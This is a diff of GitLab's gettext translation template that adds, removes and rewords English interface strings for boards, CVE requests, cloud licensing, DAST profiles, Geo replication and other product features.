msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
